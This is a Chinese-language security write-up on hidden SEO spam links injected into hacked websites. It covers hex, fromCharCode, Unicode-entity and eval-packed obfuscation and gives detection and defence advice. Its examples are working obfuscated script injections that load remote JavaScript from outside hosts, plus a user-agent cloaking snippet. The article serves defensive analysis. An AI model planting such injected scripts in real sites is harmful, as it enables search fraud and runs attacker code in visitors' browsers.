关于暗链那些不得不说的事儿
字数 1317 2025-08-15 21:33:52
暗链技术分析与检测方法
1. 暗链概述
暗链是SEO作弊手法中常见的一种手段,指通过非正常方式获取其他网站的反向链接。最常见的方式是通过网站程序漏洞获取高权重网站的webshell,然后在被黑网站上植入自己网站的链接。
暗链分类
-
JS引入型暗链
- 通过修改网站title,引入外部JavaScript代码实现跳转
- 当用户通过搜索引擎搜索特定关键词时触发跳转
- 当前主流暗链形式
-
HTML隐藏型暗链
- 通过CSS或JavaScript隐藏链接(如position为负、display:none)
- 目的是提升非法网站的SEO排名
- 目前较少使用
2. JS引入型暗链技术分析
2.1 Window对象引入暗链
技术原理:
- 调用window对象中的document.write方法引入外部JS代码
- 配合16进制编码实现隐藏
典型代码示例:
<script type="text/javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]
('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
</script>
解码后内容:
document.write('<script type="text/javascript" src="http://seo268.su.bcebos.com/1100kai.js"></script>');
特征:
- 使用window对象和16进制编码
- 通常配合UA检测(如检测百度来源)
2.2 String.fromCharCode方法引入暗链
技术原理:
- 使用String.fromCharCode函数将10进制ASCII码转换为字符
- 通过document.write方法写入页面
典型代码示例:
<script>
var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62);
document.write(xt);
</script>
解码后内容:
<script type="text/javascript" src="https://sfhufh2.com/ylc.js"></script>
2.3 十进制Unicode编码引入JavaScript
技术原理:
- 利用HTML特性,将script标签的src属性值使用十进制Unicode编码
典型代码示例:
<script type="text/javascript" src="https://www.cqian.cn/ayx168.js"></script>
解码后内容:
<script type="text/javascript" src="https://www.cqian.cn/ayx168.js"></script>
2.4 eval函数混淆引入
技术原理:
- 使用eval函数对代码进行混淆加密
- 通常与其他引入方式结合使用
典型代码示例:
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6n|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{}))
</script>
解码后内容:
通常还原为window对象引入或String.fromCharCode引入的方式
3. 常见伪装手法
-
编码转换:
- 16进制编码
- 10进制Unicode编码
- 10进制ASCII码
-
UA检测:
if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){ document.title = "正常标题" } -
动态修改页面内容:
- 根据访问来源决定是否显示暗链
- 对普通用户隐藏,只对搜索引擎可见
4. 自动化检测思路
-
Window对象引入检测:
- 检测是否使用16进制代码
- 解码后检查是否包含script标签
- 检查是否引入外部JS
-
String.fromCharCode检测:
- 检测变量是否被document.write引用
- 解码10进制ASCII内容分析
-
Script标签src属性检测:
- 解码10进制Unicode编码
- 结合威胁情报分析外部JS
-
eval混淆检测:
- 先进行逆向还原
- 再按上述方法分析还原后的代码
-
综合检测策略:
- 检查异常编码(16进制、10进制等)
- 分析document.write写入内容
- 检测UA判断逻辑
- 外部JS链接威胁分析
- 标题/关键词异常编码检测
5. 防御建议
-
网站安全防护:
- 及时修补网站漏洞
- 加强webshell检测
- 设置文件修改监控
-
内容安全检测:
- 定期扫描页面异常代码
- 监控title/keywords变更
- 建立JS引入白名单
-
应急响应:
- 发现暗链后及时清除
- 追溯入侵途径
- 修改所有相关凭证
-
SEO监控:
- 监控网站在搜索引擎的表现
- 关注异常关键词排名
- 设置Google Search Console警报